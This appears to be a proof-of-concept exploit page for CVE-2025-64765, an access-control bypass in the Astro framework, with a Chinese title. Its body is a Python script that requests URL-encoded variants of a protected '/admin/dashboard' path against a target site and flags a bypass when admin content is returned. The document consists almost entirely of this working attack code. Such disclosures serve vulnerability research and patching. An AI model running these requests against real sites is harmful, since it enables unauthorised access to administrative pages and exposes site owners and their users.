CVE-2025-64765 Astro框架路径规范化不匹配导致访问控制绕过漏洞

import requests # CVE-2025-64765 PoC - Path Normalization Mismatch in Astro Framework # This PoC demonstrates how an attacker can bypass path-based access controls # by using URL-encoded path variants TARGET_URL = "http://target-astro-site.com" # Protected route that should require authentication PROTECTED_PATH = "/admin/dashboard" # Test cases showing different encoding techniques test_paths = [ PROTECTED_PATH, # Original path (may be blocked) "/%61dmin/dashboard", # URL-encoded 'a' "/ad%6Din/dashboard", # URL-encoded 'm' "/admin%2Fdashboard", # URL-encoded '/' "/%2Fadmin%2Fdashboard", # Fully URL-encoded path separators ] def test_path_bypass(): """Test if URL-encoded paths can bypass access controls""" for encoded_path in test_paths: url = f"{TARGET_URL}{encoded_path}" try: response = requests.get(url, timeout=10) print(f"Testing: {encoded_path}") print(f"Status Code: {response.status_code}") print(f"Content Length: {len(response.content)}") # Check if we got access (status 200 and non-empty response) if response.status_code == 200 and len(response.content) > 0: if "dashboard" in response.text.lower() or "admin" in response.text.lower(): print(f"[+] VULNERABLE: Path bypass successful with {encoded_path}") print("-" * 50) except requests.RequestException as e: print(f"Error testing {encoded_path}: {e}") if __name__ == "__main__": print("CVE-2025-64765 Path Normalization Bypass PoC") print("Target: Astro Framework < 5.15.8") test_path_bypass()